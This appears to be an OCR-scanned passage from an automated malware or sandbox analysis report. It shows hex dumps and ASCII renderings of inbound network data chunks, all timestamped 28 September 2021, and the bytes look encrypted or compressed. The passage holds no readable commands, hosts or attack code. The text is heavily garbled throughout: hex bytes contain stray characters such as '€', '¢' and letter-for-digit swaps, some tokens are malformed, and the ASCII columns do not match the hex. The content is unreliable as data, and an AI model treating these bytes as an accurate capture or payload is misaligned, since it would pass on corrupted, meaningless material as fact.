8520 74 79 61 b1 74 21 be 4f b2 f1 3b 45 €0 08 91 28 93 b5 d8 90 5b 37 f0 71 ac 83 9a 16 0d 88 7e e8 64 32 18 f5 38 9¢c
7d 43 12 17 48 7b 8e cc 78 €3 Oe 49 14 60 20 fa d5 e2 6a 41 ba 65 ac 7e a4 5f ¢4 36 2b Oc 22 €9 d9 23 9d 71 ec 8b 8b 29
ae 32 a5 7b 0f d4 69 a2 3f 0b b9 37 35 c1 fb b1 18 fb 9b €3 69 81 b7 bc ef f2 f8 44 16 be 80 7f 3 2a 92 e2 14 16 90 8f 97
b2 72 36 8c 45 bc b7 3b ¢6 1b 02 7e 8d 5a 6d c8 68
Data Ascii: Ka)=wehmGx|M"\q)vgKR$|""_*5'=gN C+HI_"x%Um=9YJ\Z/3 tyat!O;E([7q~d28}CH{xI" jAe~_6+"#0q)2{i?
75iD*réE;~Zmh

2021-09-28 11:02:14 UTC 34 IN Data Raw: af 5e 5f 0a 07 20 8d 50 2f 24 6d e4 2b f4 7a 06 b2 20 87 5e 4a cd 27 90 15 aa ef 04 f6 e2 d8 68 8b 7e cc 27 fe
dl e7 bf 73 42 1f 1b 13 46 55 33 b5 82 de e4 6 1b 1e el 48 a3 d0 cd 2b df ba 9c dc fe fc Ob 62 3 94 54 d8 74 38 a9 81 c3
c2 6d 71 28 f4 7d b6 e8 07 3f 32 ff e7 35 64 af 99 93 ce ff 98 1c d2 14 d4 bf 20 6b d9 fO 01 82 9b 15 fa d8 f3 4d fa 19 46 78
3140 4b el 18 6f 09 79 b2 f5 ba 9a 9d f0 51 f6 4b 90 cc c9 cb ad 50 9c 88 aa 2a 97 65 2c 47 2b el 86 c5 1f 71 Oa Of 2e 8a
c5d7 51 74 06 1a 54 58 20 52 3d 5b 83 71 dd 07 aa 08 db ca aa 49 52 5f 09 al 4d d4 38 dd a5 20 09 b3 a7 e6 2b 56 ec
80 02 5¢ 8b dd 2c 1b d1 ¢5 20 72 7c a0 c4 e9 21 ba 4e 9a 8a 3b 45 €6 17 9b 3b 97 b5 ¢9 94 47 c9 3c 5¢ 95 85 43 3f 2b 8b
71 ee 7c bf 05 f5 38 9c 4c 46 2c 28 60 78 84
Data Ascii: *_ P/$m+z "J'h~'sBFU3H+bTt8mq(}?25d kMFx1@KoyQKP*e,G+q.QtTX R=[qIR_M8 +V\, r|IN;E;G<\C?+q|8LF,
(x

2021-09-28 11:02:14 UTC 35 IN Data Raw: 82 b6 be ce e4 9b 8a 92 96 3f 07 2c c1 29 8e f0 fa db 5a 77 fb d2 d7 54 db 87 46 4e 25 01 59 8b 4f 79 37 54 87
{6 ae b7 2e a7 8b al b2 25 59 4c 21 d3 d5 3e bf da fd 76 62 ¢7 85 Oc f5 51 46 9f 44 8c ee c1 7f 2f 49 9f bb e2 f2 38 8 d8
el e2fc96 7266 00 75 9a 11 b6 Of 7c 71 62 36 €9 be 38 93 aa 20 f4 30 46 ce 35 d9 cd df 5a 17 da €9 42 27 11 3b 08 Oc
bc dd db be 4d 44 e7 05 €6 15 14 74 83 c6 a4 al 46 €9 06 95 ab b3 a5 73 ec ¢7 57 33 a4 37 9b b0 a4 c8 cf 69 3a e3 7d
aa 8a df cb Oc b7 8f bb 37 85 4c 38 a6 57 c1 eb 96 c0 69 ca 94 13 57 8d 49 d2 bd 34 98 f2 1d Of 65 22 40 38 51 e6 52 6b
52 5e 65 d9 3a 28 6d 13 77 2af9 a4 85 5f f4 17 cb 81 05 fb 1b df c2 bb 71 b7 98 7a ca e5 5d 38 ae 89 e4 1e 3f €9 56 Oe
e8 ab c0 80 e5 aa 57 6a 66 d0 2f 14 c8 al a5 99 a7 39
Data Ascii: ?,)ZWTFN%YOy7T.%YL!>vbQFD/I8rfulqb68 OF5ZB';MDtFsW37i:}7L8WiWl4e"@8QRKR e:(mw*_qz]8?VWijf/9

2021-09-28 11:02:14 UTC 36 IN Data Raw: a7 bd d4 ba 8c 9d f0 51 8a 2c b9 f4 c3 dd 3d a6 eb a3 aa 20 9b 36 4a 6f 53 e2 86 cf 37 f1 Ob 0f 24 f8 ed 42 51
80 00 32 44 4f 20 58 40 Oe 83 71 d9 05 d1 5d db 4e af 37 20 78 09 ab 65 07 38 dd af 11 Ob 6d be fa 3c 80 e7 84 1d 56 ba
f5f3 15 f4 ae 17 72 7c 6d ce c1 19 be 4e 90 54 3b 6f e6 16 8b 3b 97 b5 c9 94 47 91 a9 5d 9b 9f 8e 3e 2a 21 7c 95 29 bf 1f
f1 46 ef 77 44 0e 17 11 79 8e c0 7 f5 1b 36 e3 67 2c f6 €9 83 73 cc 9f 4d 3b 7f a9 50 f4 22 9f 7f 34 fe 4f 00 ec 46 57 a3 30
2388 25 36 1f 0f c5 69 a6 db 22 2e 1b 33 df 53 f6 1b fb 99 d1 fa 84 9f af de fa ff e6 3e 99 83 2e e5 88 84 €3 30 00 34 8f 91
10 75 2a 8f af aa b3 9e de 17 08 50 8a b7 68 e4 7e 26 6d 23 91 78 84 7f ae Oc da db 15 52 ca 36 2c 7e 26 80 2b 94 24 0d
6b 85 3a d4 c2 dd 31 c9 65 68 f0 e3 44
Data Ascii: Q,= 6JoS7$BQ2DO X@q]N7 xe8m<Vr|mNT;0;G]>*!|)FwDy6g,sM;P"40FW0#%6i".3S>.04u*Ph~&m#xR6,~&+
$k:1ehD

2021-09-28 11:02:14 UTC 38 IN Data Raw: 6e 00 50 8c c6 ae b0 43 ea 59 b9 aa 85 af 62 e9 8c 38 19 b4 1f 2e b2 8c a8 c5 6e 2e 8e 1a bb 8f b4 c8 23 b5
85 ae 18 ba 49 29 a4 2e 17 ee 18 71 01 9d 9b 12 5d 82 e3 85 ac 31 f6 9c c2 05 68 07 29 5a 3f bl 58 b7 86 88 6a df 3¢ 21
0354 77 2a f1 78 8b 58 bf 2b ca 8b 0f d1 1b df d9 8a 69 b7 94 7a ca a0 09 22 f1 98 c2 5a 3c 9 50 06 9b 93 c1 el 80 al
5a 4223 d3 2f 70 e2 ladc d3 al 11 09 08 92 3c 60 8¢ 7c 40 b8 85 f8 6a 44 4b 3b e4 d6 ae €6 96 18 0d fd 94 f7 8a de 51
a4 7c a3 04 25 ed 17 6a dd 32 Oc cf 86 92 20 cb 85 8 Oe ff c8 14 bd 92 b9 8c d4 3a 6¢ 11 58 56 64 ff 32 60 f4 b4 39 e0 8b
e8 29 9a db bd 91 e8 83 85 ea 50 f5 f9 c3 01 ac 71 bd b6 c6 6¢ ec ca 25 ca e3 06 54 77 4c 2¢ 7b 8a 78 01 Oc 40 ed 44 c8
7d 2e 8a 24 af 15 61 ea 21 b8 a6 c7 77 02 de cb cb 6f
Data Ascii: NPCYb8.n.#l).q]1h)Z?Xj<ITw*xX+iz"Z<PZB#/p<'| @]DK;Q|%j2 :IXVd2 9)Pql%TwL {x@D}.$a!wo

2021-09-28 11:02:14 UTC 39 IN Data Raw: 03 df da e4 18 67 a9 77 3f {7 c1 e7 77 d5 6b 64 80 6b af 54 fa 7f b4 05 33 d6 61 2a 8a 53 24 47 8b 23 82 35 a5
7a 0f d4 68 al 3f Ob b9 12 40 69 d3 97 11 f1 84 e8 el 86 a6 b9 f1 f5 01 53 12 91 8a 68 33 85 8a f8 2f 3d 92 9e 94 0d 8b 23
b4 54 bd 92 82 d5 1e 08 49 94 56 67 36 78 22 d4 1b f8 7e 98 73 b1 Ob d7 20 14 6f c1 57 46 80 27 a8 35 ad 5c 05 f1 83 3a
d7 dd d8 39 c2 9e 72 22 e5 40 ef 5b 8d 54 80 29 e2 57 3f cb 10 4d 11 09 ¢8 14 44 50 d7 1e 96 la 2e cc 17 23 fd a3 67 65
43 29 c8 fa 36 6e 92 f7 20 6d 61 ff cO 94 c3 8a f8 92 8 02 90 65 6d ce 8e ee Of 22 43 ef a8 b6 2f 95 05 6e a2 df ca 23 ea
ad ce 84 11 40 93 8 1b 28 72 36 ed 58 97 e2 6d 46 1b ef c7 8f de 85 ab 85 a5 92 f9 53 f4 a0 98 e5 8f Oc f2 d1 32 8c f0 4d
da 5a 77 el b3 a4 46 d6 b5 24 91 2f 08 64 83
Data Ascii: gw?wkdkT3a*S$G#5zh?@iSh3/=#TIVg6x"~s oWF'5\:9r"@[T)W?MDP .#geC)6n maem"C/n#@(r6
XmFS2MZwF$/d

2021-09-28 11:02:14 UTC 40 IN Data Raw: 39 20 d6 92 30 62 ca 7f 41 ae ad dc 6a 44 17 54 5b Oc ae fd 8b 30 4a ff 8f c1 a6 67 6e a4 7a 8b 07 25 ed Oc 40
b9 38 Oe a6 67 b6 20 c1 99 a4 36 ea e2 36 2d ba f0 85 fc 7b 45 a8 50 54 0d 4f 11 60 fe aa 07 82 1a e9 2f b8 90 ab 90 e2
€6 b5 35 5e d7 c9 eb 4a a5 65 bl b6 47 6e ec c6 d3 e9 e5 2¢ 5e 5f 00 2e 6b 8¢ 50 25 Oc 4e e7 34 df 7c 20 9a 23 87 59 71
da 24 90 4b c4 77 04 ad e8 cb 7e 8c 6b d8 18 ad c1 e0 31 c4 3c b3 06 ed 4d 68 30 cc f2 c0 f7 f9 Of 1c ed 46 al 41 9e 07
cb b8 a7 b5 ec 5 62 59 6e 94 5e c1 42 {8 a6 f2 96 dd 66 68 3e f9 7d be 99 af 3e 1e fc cc 97 ba 9d bc a4 f0 ec 9d 16 d0 01
de 48 0d 4d c3 fb 46 55 9b 15 fa e0 ec 58 c1 24 46 69 3e 81 51 Ob 0a 4b df d4 01 d0 92 a7 b7 ef 4b 6 5f b8 e5 cc d1 59 8f
b0 b6 ac 28 bf 4e 4b 47 2d cb a2 c5 1f eb 65 c3
Data Ascii: 9 0bAJDT[0Jgnz%@8g 66-{EPTO/5"JeGn,* .kP%N4| #Yq$Kw~k1<MhOFAbYn"Bfh>}>HMFUXS$Fi>QKK_Y(NK
G-e
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kBytes
Timestamp transferred Direction Data

2021-09-28 11:02:14 UTC 41 IN Data Raw: 66 f0 53 b7 52 a8 5a eb 6e 4a 1c 78 b3 0d 10 dc 3d 7d 21 ca e0 91 59 b0 e6 1a 36 e5 ba 70 4c 7a 59 d4 {7 ce
47 29 fd 29 76 74 58 5f d0 03 95 fO ee 65 03 81 6a 6a 3a 9d eb 24 42 53 ea ae 8f bd 8b 15 9a b2 da e0 70 ec 95 70 15 76
be 95 8d d9 22 60 15 ef 3f 8f d2 6f 6e 64 ef c7 85 97 ac 83 ee a4 ba 46 3c 6¢ a7 93 9c 24 06 e0 f2 10 fO 9c 9e dc 72 ea f3
bd b8 44 f2 a5 e6 93 2f Oe 1a 15 47 16 6a 45 8d ee 5b 97 54 cb 9d a6 9a b8 72 4c 2a de fc 16 ¢3 d9 b6 70 17 3a 84 02 ff
40 4c 8d 6f a4 9f c2 18 5¢ 61 02 ba e2 8 29 da fc 8a 7a 7c 96 78 70 5¢ 7d 8d da bl 2e 1c 1b 5b 40 e0 b2 4b f9 7b 6a fe 3d
4e ee 25 b6 55 d5 72 69 b4 cb 49 0f 0a 28 Oe 75 89 d2 c9 b9 4f 4f 99 15 {7 13 71 7b 15 c7 ae ba 51 f3 41 25 ab b3 a5 b2
a3 df 38 18 8d 23 91 b3 86 86 ce 68 30 fa 13 6d a7
Data Ascii: fSRZnJIx=}!Y6pLzYG))vtX_ejj:$3BSppv" 20ndF<I$rD/GJE[TrL*p:@Lo\a)z|xp\}.[@K{j=N%Uril(uOOa{QA%8#h0m

2021-09-28 11:02:14 UTC 43 IN Data Raw: 7c 90 78 cc 2a f3 3e el 1d d0 22 b6 33 8a 4d 44 3f c5 ef b4 32 d4 Oc Oc e8 53 al a3 8c 21 df al 85 c2 11 f4 48
35 eb 87 54 cb 6a 23 b9 ef 68 ¢3 41 72 03 a0 6e bb 87 4e 21 21 ff f4 2a b0 82 a0 45 f8 d3 b9 07 c6 10 ed 31 0Of 61 ce ef e3
7d 9b 15 f1 d8 f4 50 fa 82 46 78 31 b6 4f f5 Ob 6d c6 a2 a2 cd 81 a7 9d el 51 fc a4 b9 d8 dd c3 c8 fd 9d a2 a0 02 11 27 48
41 44 43 87 ¢5 15 ec 10 1c 24 ee d4 dd 4e 9a 8 1b 78 42 26 7a 9b 5a 83 7b ce Of b5 13 c8 44 ab 58 58 63 f7 a0 61 68 30
d5 8d 2c 09 b3 ad 93 8a 57 ed 88 2a 4d 8b 59 27 08 d5 9d 33 78 7c 76 cf f5 df bf 62 d9 9b 3f 6d bc 17 9b 31 d2 b8 c9 94
47 a7 f1 5d 95 10 70 c1 d4 c9 7e ee 7c e6 1e 5 38 15 76 44 04 €9 60 78 8e d4 da e4 19 59 b7 67 2c 33 3f 09 8d 0d 6b 9a
53 be 57 a9 2d el 49 fa ca 70 ba d5 75 44 58 81
Data Ascii: [x*>"3MD?2S!H5Tj#hArnN!*E1la}PFx10mQ'HADC$NxB&zZ{DXXcah0,W*MY'3x|vb?m1G]p~|8vD xYg,3?kSW-
IpuDX

2021-09-28 11:02:14 UTC 44 IN Data Raw: 8d 40 05 65 2a 14 fc 72 b5 3a ce 8b b1 b5 40 fb 4d 20 c9 c2 e4 ae ca a5 7f 40 65 85 02 f5 40 41 8e 4f a4 81 c2
18 5¢ 26 1f ba e2 f4 2b f9 f9 e2 f3 74 be 10 65 4d 73 f5 8a a3 04 09 03 68 27 €5 a6 b5 fO ba 26 80 ae 4f c6 3b a0 7d f1 5a
1d bf dd bd 26 7b 04 2b 6e 9f fO fa 9c 19 40 f6 Oa e6 14 6a 5a aa a5 ad b0 45 9e e3 bd aa b5 c0 fa €9 df 32 08 a0 1f 26 b3
8c a8 dd 6f 21 fa 51 34 8e b0 ea 20 f4 94 a3 18 1b 4a 29 a8 6c¢ ea fe 1e 5b 30 95 b7 11 5d 80 84 c4 bd 3d e6 9c 73 27 6d
2b 29 4c 5c¢ f7 53 d8 a8 56 6¢ f3 2d 2d 13 42 18 Oc f1 78 8b 49 97 29 45 82 0f d7 74 f5 c0 ba 6b b1 89 74 a5 b5 5¢ 22 fb al
c4 1c 3f ef 45 0a 36 aa e5 c9 bd aa 5d 60 75 dd 07 4e ca a3 d4 0d a7 28 23 1f 44 25 41 db 76 51 ae 93 ec 95 bb be 45 dO
c0 78 ff 9f 21 44 ef 9b 7f 15 58 fb 5a 85 74
Data Ascii: @e*r:@M @e@AO\&+teMsh'&0;}Z&{+n@jZE2&0!Q4 J)I[0]=s'm+)L\SVI--BxI)Etkt\"?E6] uN(#D%AvVQEX! DXZt

2021-09-28 11:02:14 UTC 45 IN Data Raw: 2a 06 d9 c5 d7 5b 93 08 32 6¢ 4e 20 58 €3 5b 92 7d ca d1 b9 04 ca 42 ba 5a 6c 85 7 5e b2 6f 28 ca 73 2e 18
a2 b6 ed 39 d8 5a bd 64 a2 74 a6 2b 31 d1 86 20 73 60 67 c5 €9 21 20 4e 91 23 3b 57 fc 17 9b 3a 97 b5 e4 95 80 3d f0 52
8f 85 8e 3f 38 bb 78 ee e2 bf 1f f5 0d 9d 76 55 12 2c 64 40 01 ca da e4 19 5¢c b2 7f d2 f3 ed e6 70 42 22 72 76 68 7f db f9
20 b7 04 3f e7 56 2e 8a 48 4f 97 75 22 a4 28 be 68 d9 c9 70 aa c5 Oa 84 1f 2e 2b d2 bb 1c f3 94 ca ef 98 a4 b8 ee e8 fh
49 c0 98 af 6e €3 80 97 fd ad 3b 9a 8¢ 1f a7 28 b3 f9 cd b7 8¢ 98 c6 0a Oc 41 6f 48 45 c3 6f Oc 53 94 86 a4 95 7f b4 17 cO
25 05 7a de b6 4e 52 23 af ff a7 4b 08 6b 9e 21 ca 30 dc 15 dO 83 7a d8 e4 7d e5 4f 5b 7a ac 2a ff 7d 48 34 fe b6 13 e4 cc
3857 7e cc d8 fb ¢9 d7 18 1c 16 f4 b0 79 55 57
Data Ascii: *[2IN X[}BZI"0(s.9Zdt+1 s°g! N#;W:=R?8xvU,d@\pB"rvh ?V.HOu"(hp.+In;(AocHE0S%zNR#Kk!0z}O[z
*IH48W~yUW

2021-09-28 11:02:14 UTC 47 IN Data Raw: 93 92 e0 03 ad 85 a8 31 94 4b 19 a2 5d 9c ef 16 6d 06 6 94 08 6d 85 97 94 ac 31 f7 c8 1c Of 7e 58 95 5d 50
ec 52 b1 f2 7b 6d f5 38 09 15 46 77 2c db 21 8e 58 9d 29 d2 83 0f d7 74 19 c2 ba 67 69 96 5d e2 97 5d 22 fb 85 c2 26 3f
€9 5c d2 e8 a3 be ce 8b aa 59 42 71 d2 2f 70 e2 fa dd d3 al 11 33 0a 92 30 27 Oc 7f 40 b4 73 d2 4f 6¢ 76 54 de dd a3 c4
a9 30 4a f4 4afl a4 4d 52 b8 7a 8b 27 25 eb 1d 5e b7 31 02 d3 ae b6 21 cb 8f a7 34 e2 84 1e b4 a0 f0 8f d5 27 74 ab 5a
0a 62 d7 11 3e f4 be 00 d9 32 e8 2f b8 5 bb ef d2 ed bf ef 78 e8 fc eb 4c 87 2a b8 9e 79 46 f4 ce 0d ef 8c c0 5e 5f 0a f1 75
a9 78 12 Oc 40 ed 27 da 44 2e 80 29 59 58 64 94 17 91 1f c1 5f 13 f4 e8 cd 47 c1 7b dd 26 c0 d9 e2 31 c2 42 70 1b 13 46
9a 3b ff d7 e9 e4 fc 05 00 c0 61 ab bf 95 f5 df b6
Data Ascii: IKImm1~X]PR{m8Fw,!X)tgi]]"&?\YBq/p30'@sOIVT0JIMRZ'%"1!4'tZb>2/xL*yF" _ux@'D.)YXd_G{&1BpF;a

2021-09-28 11:02:14 UTC 48 IN Data Raw: a3 17 23 88 25 9e ea 0f ¢5 67 d6 74 Ob 95 11 5¢c 52 d2 97 11 ec f2 73 e5 86 bd d3 67 f8 ff 58 2d 9c ab d1 e6 88
93 86 b8 39 92 85 99 01 70 0a 03 51 ab 95 b4 69 18 08 5e b9 d2 69 c8 73 26 41 23 91 74 b0 e6 ae 04 ce 4a al 7f c4 42
209 27 84 36 ab 37 84 6a 8f 2f b2 47 dc 39 d9 88 6d d4 5 69 c9 c2 a5 7b 8a 01 42 6d 4c 32 ¢7 29 0d 1a c7 3c c9 55 c9
ea 9c 31 00 d6 1a 3c fe 89 b4 65 52 2c d0 84 45 6e be fa 3a 72 bb 65 52 8e 37 95 6 8b ee 0d 87 6d 53 08 8f c2 06 €8 ea
eaaB a7 3b 84 3d 3b a0 f3 ce 67 68 94 76 7c c3 bd 93 ad de 39 7c 53 4f 47 8c d4 7e 9c e0 f9 d4 9f be 09 ab 94 a7 ab 4e
42 e4 bl fc 1f 34 Oc f4 ¢8 29 9a 91 8f ca 40 12 7b bc b2 53 ¢8 9e 8b 9e 3e 18 6¢ e2 cf 17 60 52 94 ee 63 ae 01 47 9c a0
b8 02 3b 5d 33 e7 5a 3f bd dO 9b 49 69 b0 ad 8d f4 51 4c
Data Ascii: #%gt\RsgX-9pQitis&A#tJB '67j/GImi{BmL2)<Ul<eR,En:reR7mS;=;ghv|9|SOG~NB4)@{S>I'RcG;]3Z?IiQL

2021-09-28 11:02:14 UTC 49 IN Data Raw: 90 31 b9 fc 1b 5e 83 ad 1d cf b3 a0 bc da 89 89 22 62 d9 18 a5 b3 e6 13 c5 3a 5b a2 4c ca 73 d1 Oe 6b e2 22
00 ac 97 e4 39 2e ee bb 8e ef fa 23 fa 56 e0 f0 fd d6 be 77 a4 91 69 f2 fd ca 06 9a ce 07 5e 55 0d 26 6¢ e3 7a 24 Oc 4a ee
3c 9d 55 2f 80 29 8e 5b 65 85 €0 91 1f cf 7b 2¢ 61 €8 cb 65 92 6¢ 5 9d eb cO e6 28 49 2a b6 1b 12 5f 43 24 dd e9 dc 46
ed 08 1a fe d5 94 bf 9f 2a 7d a1 88 cd ed 7b d3 ba cc 94 5e ca d9 38 al el 9e d3 65 6f 2f e0 el 94 87 51 3e 21 fc e5 32
ac 8a 20 aa fO e8 8e 8a d0 0d dd a0 90 70 c1 d1 cd 7a 9b 1f el c5 6 d4 fe 00 57 70 2d 04 76 e4 Ob 67 df 77 af dO 92 b6
b5 e4 5b e5 50 90 c0 c8 cb ad fa 8e a2 aa 31 69 2f 48 47 5f f1 86 c5 04 8e 1c Oe 2e e4 d6 d3 40 84 12 32 ea 4d 20 54 2a
d6 84 71 dd 06 b9 00 ca 46 bd 56 42 f5 36 al 4d 7f 9b
Data Ascii: 1"b:[Lsk"9.#VwirU&Iz$I<U/)[ef,ael(I*_C$F*{ 8e0/Q>12 pzWp-vgw[P1i/HG_.@2M T*qFVB6M

2021-09-28 11:02:14 UTC 50 IN Data Raw: ee 49 bf a4 95 6f f5 3a 09 ¢8 45 77 20 db b3 8¢ 58 91 6e 06 80 Of db 08 d9 cb 92 1 b7 98 72 €2 b6 5f 22 {7 9a
ed Of 38 c4 51 0a e3 78 a9 e3 8a aa 4b 7b 60 7 5 65 d8 b0 d5 eb 9e 3b 2a 08 83 3 60 08 7c 40 b8 85 1d 69 44 47 45 d5
ff 53 ec 91 36 5d 73 cb f1 a2 66 40 b7 6b 98 31 3a €0 80 53 86 5e 45 c8 ae bc 33 ¢7 9e 9b 22 64 ¢4 Of b6 ad 6a Ic d1 4f
b2 a9 5a 50 71 de 00 69 €5 b2 0b 30 a0 8e 2e b2 5 d2 66 3 ec b9 8 5d ee 13 ff 62 6¢ 72 bb 98 68 €3 eb cc 0d €8 f0 12 4f
4b 16 39 7 b3 50 25 0d e2 6 3f €6 68 3a a8 80 87 58 68 fe 0f 53 1c ¢5 71 13 7b ef cb 6f 9b 6b ¢8 31 fd d6 {7 bd fb 2d b6
la bl 5d 51 21 ce eb 6 47 fc Of 07 fc 71 68 be 9f 2d ¢8 3d 88 d5 ef f4 77 20 e2 82 48 dc 7 16 a6 f2 97 60 7c 6d 2f ed 78 93
24 51 3f 38 el dc ff b9 9d ba ad 74 8 98
Data Ascii: lo:Ew Xnr_"8QxK{ e;*>'| @IDGES6]sf@k1:S"E3"dj0ZPqi0.flblrhOK9P%?h:XhSa{ok1-]QIGgh-=w H'|m/x$Q?8t

2021-09-28 11:02:14 UTC 51 IN Data Raw: 76 94 d9 34 3e 85 59 9b 0f 7f 31 9d 51 ba 9a 84 38 1a 24 51 b9 67 6b c8 7f 02 c4 30 94 7e 89 76 b7 fa c5 09 11
68 ce 52 5¢ 7b 26 95 39 a3 52 f2 6a a3 2d d4 d4 Ob 34 cc 90 7a d9 e4 7d e4 47 5b 7a ac 1b e0 6¢ 45 2e 80 5d 0d 1a c7 Ob
45 7d e6 el 97 3c 2b el 0d 53 1b b0 62 6f 7a f9 d6 f7 c2 Oe 96 2f 28 7c 6f 59 a3 a7 00 9f de a5 fd 02 8b 6¢ 64 39 9c ¢7 Oc
24 55 f7 56 a6 06 8f 03 9a bd e0 cd 08 fe 90 69 71 10 be b9 8e c1 39 76 0d cb 59 80 c1 6¢ 46 e2 eb db 71 87 a9 a7 92 a5
d5 89 53 f4 ac al 08 28 1f 7 db 29 8e 88 60 db 76 7e ea ae b7 55 ca 88 81 6e 2e 24 70 a6 88 0a 73 51 87 ed 77 a9 d7 c9
bl a3 a5 3c 76 4c 31 ca ca 32 43 db 9a 74 53 a7 bd Ob Oa ae b9 97 6¢ 8c e0 c1 Ob 6a 4d 95 5c e3 f2 38 9c e8 e5 3 6b 85
78 5e 9e 74 9a 00 a2 15 05 Ob 9d 37 cf b4 5a f4 a7
Data Ascii: v4>Y1Q8$Qgk0~VhR\{&9Rj-4z}G[zIE.]E}<+Sboz/(|oYId9$UVigqOvYIFgS() v~Un.$psQw<vL12CtSI|jM\8kx t7Z

2021-09-28 11:02:14 UTC 52 IN Data Raw: 00 ac a0 34 2c b2 f9 d2 23 e3 ec b5 9f 42 ff fe f0 59 a7 63 b3 8f 77 e0 5b db d7 c1 e5 06 5e 74 11 28 6a 84 78
c5 0c 40 el 38 fb Of Oc 82 23 81 4b 68 fb 2d 81 1a ed a9 04 6 ee a4 47 98 78 db 31 e2 d1 eb 5e e0 2f b6 1d 02 46 55 3¢
b5 d9 dc e4 fa 1e 07 c0 84 a8 bf 99 44 {5 b2 8f d3 31 f9 4c 01 f3 94 54 e3 43 29 a6 8 48 c2 7c 76 2c 2f 7f b6 96 5¢ 2e 3c
7b 43 04 89 62 43 44 27 ea bd 3e f6 04 c5 bc 1f 6d bb 43 6e 7a 91 1e d8 f4 e0 44 d8 ff 44 7e 11 99 74 b4 47 67 d5 a7 bd
d0 92 ab 9d f0 5b fe 5a b8 f4 €8 cb a7 8e 88 a2 aa 2a 8d 24 48 46 2b e3 86 c5 40 el 0a 0f 87 ee c5 d7 59 81 06 1la 58 4e
2052 27 5b 83 70 dd 07 aa 08 dd 4e ab 49 73 78 09 al 6a 7f 39 dd b0 3d 09 b3 bd fc 2b 57 fe b2 01 5c a8 58 2d 1b a3 86
20 63 6a 74 c2 d1 de be 4e 9a 8a 2a 42 f9 1e 65 3a
Data Ascii: 4,#BYcw[ (jx@8#Kh-Gx1/FU<D1LTC)H|v,\.<{CbCD'>mCnzDD~tGg[Z*$HF+@YXN R'[pNIsxj9=+W\X- ¢
jtN*Be:
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kBytes
Timestamp transferred Direction Data

2021-09-28 11:02:14 UTC 54 IN Data Raw: 7d f1 ce 22 e8 bf 76 7a af 8b 95 87 ca 28 72 3¢ 91 46 8c d2 23 47 f3 ee 67 8e 86 85 bd 94 a7 ba 40 53 f4 a6 93
96 35 Oc f4 db 38 8b 5¢ 9f da 5a b4 f3 bd b2 40 db 8d 9a 8a 2f 08 74 96 76 13 60 3c 86 fc 72 ca 29 c8 8c d3 08 2f 73 46 2a
€7 3b 3d bd dc ba 08 44 a2 85 08 fd 3e f6 9e 46 86 ed c8 77 eb 48 95 b1 f1 fe 2e e0 e3 dd f7 7c 96 72 77 41 64 91 9a bl
00 06 01 67 59 53 b3 4b fb b8 25 ef 38 62 c3 ec 43 55 df 5a Oc b0 e3 ac 24 1b 2e 61 cd 9b dc d1 9c c2 41 f6 Oa e4 15 6a
55 aa 49 af b0 49 dd 6¢ 61 7e b3 af 62 f8 da 10 e9 a6 37 97 dc 3e af ce 63 18 6¢ 79 bb 85 a3 ea 1c bd 94 ad 18 03 48 29
a4 2e 62 ee 18 7d 2e 7a 95 13 57 97 91 e0 df 30 f7 90 Of 08 7e 2e 07 ac 53 e6 5e d8 3e 55 6¢ ff 14 bd 02 44 7d 39 fb 69
8b 70 7e 02 ca 87 1le d4 33 2d c1 ba 6b 9f 6b 7b ca
Data Ascii: }'vz(r<F#Gg@S58\Z@/tv <r)/sF*;=D>FwH.|rwAdgY SK%8bCUZ$.aAjUllla~b7>clyH).b}.zZW0~.S">UID}9ip~3-kk{

2021-09-28 11:02:14 UTC 55 IN Data Raw: 98 1c €9 fb c6 b6 0a 49 ec f9 6e 70 88 11 e9 df f2 44 ¢3 33 59 61 c5 9f 72 fc 33 31 d4 a7 bd cf 88 be 8f f0 4a f7
45 b4 0a c8 e7 ba 9f 9b b5 27 75 97 24 49 54 24 f2 89 d3 00 da 97 1e 21 81 8c d6 51 8a 15 13 4b 43 33 40 3d 4a 91 6e cf
f9 ab 24 c2 5f al 5f 8 51 09 a5 4d 78 2f f5 8b 3d 09 b9 b1 bc 88 57 ed 82 1d 4f 98 4b 2d 0a ¢3 99 29 8¢ 7d 4b c2 ff 32 b3
51 90 99 29 45 7 05 84 24 69 b4 e5 9b 56 d9 e0 4c 1b 32 b1 Oe 2a 8b 7e f1 5¢ ac 0d f5 29 8f 69 64 fa 3e 4c 73 fd e8 d8 e4
1f 5e be 78 0d el d3 f6 63 de 8a 7e 52 7e 85 5f ea e0 b7 05 35 el 59 39 98 59 5a 99 94 3e 76 2e 9a 75 le cf 7a 23 d2 Oc
8a 05 20 c7 d3 86 09 e4 85 05 e5 aa ba ad e2 d1 1b 52 3e 9f 90 7a fa 91 86 7 3c 29 80 98 6f 11 59 21 80 42 b9 9f 8d d4
04 06 a6 90 65 6e de 6a 1e c2 2c 82 6¢ 98 62
Data Ascii: InpD3Yar31JE'u$IT$!QKC3@=In$__QMx/=WOK-)}K2Q)E$iVL2*~\)id>Ls"xc~R~_5Y9YZ>v.uz# R>z<)oY!B
enj,lb

2021-09-28 11:02:14 UTC 56 IN Data Raw: ba 30 ef 2a 71 db ce 49 aa ce 53 0a 63 d8 4a 36 12 39 1d 41 39 21 24 4b 80 54 d3 28 c0 13 7b 59 91 d4 dd Oa
431 63 b1 82 8b af 62 €3 01 3a 1f 8f 3e bb b3 cd b2 ce 69 30 f0 79 bb ae b0 e0 0d 72 87 a8 30 72 49 29 a2 54 d0 ef 18
6d 06 e6 94 08 6d 81 97 4b ae 31 f7 ec 1c Of 7e 58 95 5d 50 ec 52 9f d7 54 6¢ f3 53 ¢5 03 44 7d 39 {7 06 b1 58 9b Ob c7
a9 21 d3 1b d9 ce c4 51 b7 98 72 e2 ad 59 22 {7 e6 5a 1f 3f e3 5b 05 87 14 c1 el 80 b9 58 63 09 ef 2f 76 c0 b2 db c0 b1 21
39 1d aa 23 4a ca 7f 51 a8 bc ¢9 f0 57 4e 7c dO d3 ae ea 80 3f 62 da 94 f1 a8 4f 5¢ a0 7a 8d Of Ob ef 1d 44 bd d4 0d c9 a4
9e bc cb 8f 9d 27 2 d9 12 d5 5e f1 8f de 2f 43 b9 56 39 ab d7 11 6a 98 9d 11 aa 88 e8 2f b2 ef fd ca ca 7d bf eb 5a 48 €9
3d c7 ba 71 bb 9f 6¢ 63 c7 8a 1c f9 f2 01 49 77
Data Ascii: 0*qIScJ69A9I$KT({Y Cch:>i0yr0rl) TmmK1~X]PRTISD}OX!QrY"Z?[Xc/V/9#IQWN|?bO\zD'M/CV9j/}ZH=qlclw

